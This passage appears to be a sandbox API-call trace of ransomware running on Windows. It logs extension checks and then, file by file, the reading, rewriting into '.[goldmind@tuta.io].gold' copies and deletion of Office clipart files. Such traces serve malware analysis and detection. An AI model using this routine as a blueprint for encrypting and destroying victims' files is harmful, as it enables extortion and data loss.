Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0108.641] lstrlenW (lpString=".dbf") returned 4 [0108.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0108.641] lstrlenW (lpString=".1cd") returned 4 [0108.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0108.641] lstrlenW (lpString=".jpg") returned 4 [0108.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.641] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.641] lstrlenW (lpString="J0107658.WMF") returned 12 [0108.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.651] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=7072) returned 1 [0108.651] CloseHandle (hObject=0x3b4) returned 1 [0108.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf")) returned 0x20 [0108.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.652] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.652] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.653] GetLastError () returned 0x0 [0108.653] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0108.659] WriteFile (in: hFile=0x188, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0108.659] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.660] WriteFile (in: hFile=0x188, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.660] SetEndOfFile (hFile=0x188) returned 1 [0108.660] CloseHandle (hObject=0x188) returned 1 [0108.660] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.660] SetEndOfFile (hFile=0x3b4) returned 1 [0108.661] CloseHandle (hObject=0x3b4) returned 1 [0108.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf")) returned 1 [0108.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0108.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0108.711] lstrlenW (lpString=".doc") returned 4 [0108.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.711] lstrlenW (lpString=".docx") returned 5 [0108.711] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.719] lstrlenW (lpString=".pdf") returned 4 [0108.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.719] lstrlenW (lpString=".xls") returned 4 [0108.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.719] lstrlenW (lpString=".xlsx") returned 5 [0108.719] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.727] lstrlenW (lpString=".ppt") returned 4 [0108.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0108.727] lstrlenW (lpString=".zip") returned 4 [0108.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.727] lstrlenW (lpString=".rar") returned 4 [0108.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.727] lstrlenW (lpString=".bz2") returned 4 [0108.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.727] lstrlenW (lpString=".7z") returned 3 [0108.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0108.728] lstrlenW (lpString=".dbf") returned 4 [0108.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0108.728] lstrlenW (lpString=".1cd") returned 4 [0108.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0108.728] lstrlenW (lpString=".jpg") returned 4 [0108.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0108.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0108.728] lstrlenW (lpString=".doc") returned 4 [0108.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.728] lstrlenW (lpString=".docx") returned 5 [0108.728] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0108.728] lstrlenW (lpString=".pdf") returned 4 [0108.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.728] lstrlenW (lpString=".xls") returned 4 [0108.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.728] lstrlenW (lpString=".xlsx") returned 5 [0108.728] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0108.728] lstrlenW (lpString=".ppt") returned 4 [0108.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0108.728] lstrlenW (lpString=".zip") returned 4 [0108.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.728] lstrlenW (lpString=".rar") returned 4 [0108.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.728] lstrlenW (lpString=".bz2") returned 4 [0108.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.728] lstrlenW (lpString=".7z") returned 3 [0108.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0108.728] lstrlenW (lpString=".dbf") returned 4 [0108.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0108.728] lstrlenW (lpString=".1cd") returned 4 [0108.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0108.728] lstrlenW (lpString=".jpg") returned 4 [0108.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.728] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.728] lstrlenW (lpString="J0107744.WMF") returned 12 [0108.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0108.745] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=5004) returned 1 [0108.745] CloseHandle (hObject=0x3a0) returned 1 [0108.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf")) returned 0x20 [0108.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0108.769] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.770] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0108.770] GetLastError () returned 0x0 [0108.770] ReadFile (in: hFile=0x394, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x138c, lpOverlapped=0x0) returned 1 [0108.794] WriteFile (in: hFile=0x398, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0108.795] ReadFile (in: hFile=0x394, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.795] WriteFile (in: hFile=0x398, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.795] SetEndOfFile (hFile=0x398) returned 1 [0108.795] CloseHandle (hObject=0x398) returned 1 [0108.795] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.795] SetEndOfFile (hFile=0x394) returned 1 [0108.796] CloseHandle (hObject=0x394) returned 1 [0108.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf")) returned 1 [0108.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0108.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0108.797] lstrlenW (lpString=".doc") returned 4 [0108.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.797] lstrlenW (lpString=".docx") returned 5 [0108.797] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0108.798] lstrlenW (lpString=".pdf") returned 4 [0108.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.798] lstrlenW (lpString=".xls") returned 4 [0108.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.798] lstrlenW (lpString=".xlsx") returned 5 [0108.798] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0108.798] lstrlenW (lpString=".ppt") returned 4 [0108.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0108.798] lstrlenW (lpString=".zip") returned 4 [0108.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.798] lstrlenW (lpString=".rar") returned 4 [0108.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.798] lstrlenW (lpString=".bz2") returned 4 [0108.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.798] lstrlenW (lpString=".7z") returned 3 [0108.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0108.798] lstrlenW (lpString=".dbf") returned 4 [0108.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0108.798] lstrlenW (lpString=".1cd") returned 4 [0108.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0108.798] lstrlenW (lpString=".jpg") returned 4 [0108.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0108.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0108.798] lstrlenW (lpString=".doc") returned 4 [0108.798] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.798] lstrlenW (lpString=".docx") returned 5 [0108.798] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0108.798] lstrlenW (lpString=".pdf") returned 4 [0108.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.798] lstrlenW (lpString=".xls") returned 4 [0108.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.798] lstrlenW (lpString=".xlsx") returned 5 [0108.798] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0108.798] lstrlenW (lpString=".ppt") returned 4 [0108.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0108.798] lstrlenW (lpString=".zip") returned 4 [0108.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.798] lstrlenW (lpString=".rar") returned 4 [0108.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.798] lstrlenW (lpString=".bz2") returned 4 [0108.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.798] lstrlenW (lpString=".7z") returned 3 [0108.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0108.798] lstrlenW (lpString=".dbf") returned 4 [0108.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0108.799] lstrlenW (lpString=".1cd") returned 4 [0108.799] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0108.799] lstrlenW (lpString=".jpg") returned 4 [0108.799] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.799] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.799] lstrlenW (lpString="J0136865.WMF") returned 12 [0108.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0109.173] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=16710) returned 1 [0109.173] CloseHandle (hObject=0x39c) returned 1 [0109.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf")) returned 0x20 [0109.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.180] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.180] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.181] GetLastError () returned 0x0 [0109.181] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4146, lpOverlapped=0x0) returned 1 [0109.182] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x4150, lpOverlapped=0x0) returned 1 [0109.183] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.183] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.183] SetEndOfFile (hFile=0x194) returned 1 [0109.183] CloseHandle (hObject=0x194) returned 1 [0109.184] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.184] SetEndOfFile (hFile=0x180) returned 1 [0109.185] CloseHandle (hObject=0x180) returned 1 [0109.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf")) returned 1 [0109.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0109.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0109.186] lstrlenW (lpString=".doc") returned 4 [0109.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.186] lstrlenW (lpString=".docx") returned 5 [0109.187] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0109.187] lstrlenW (lpString=".pdf") returned 4 [0109.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.187] lstrlenW (lpString=".xls") returned 4 [0109.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.187] lstrlenW (lpString=".xlsx") returned 5 [0109.187] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0109.187] lstrlenW (lpString=".ppt") returned 4 [0109.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0109.187] lstrlenW (lpString=".zip") returned 4 [0109.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.187] lstrlenW (lpString=".rar") returned 4 [0109.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.187] lstrlenW (lpString=".bz2") returned 4 [0109.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.187] lstrlenW (lpString=".7z") returned 3 [0109.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0109.187] lstrlenW (lpString=".dbf") returned 4 [0109.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0109.187] lstrlenW (lpString=".1cd") returned 4 [0109.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0109.187] lstrlenW (lpString=".jpg") returned 4 [0109.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0109.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0109.187] lstrlenW (lpString=".doc") returned 4 [0109.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.187] lstrlenW (lpString=".docx") returned 5 [0109.187] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0109.187] lstrlenW (lpString=".pdf") returned 4 [0109.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.187] lstrlenW (lpString=".xls") returned 4 [0109.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.187] lstrlenW (lpString=".xlsx") returned 5 [0109.187] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0109.187] lstrlenW (lpString=".ppt") returned 4 [0109.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0109.187] lstrlenW (lpString=".zip") returned 4 [0109.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.187] lstrlenW (lpString=".rar") returned 4 [0109.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.187] lstrlenW (lpString=".bz2") returned 4 [0109.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.187] lstrlenW (lpString=".7z") returned 3 [0109.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0109.187] lstrlenW (lpString=".dbf") returned 4 [0109.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0109.187] lstrlenW (lpString=".1cd") returned 4 [0109.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0109.188] lstrlenW (lpString=".jpg") returned 4 [0109.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.188] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.188] lstrlenW (lpString="J0148757.JPG") returned 12 [0109.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 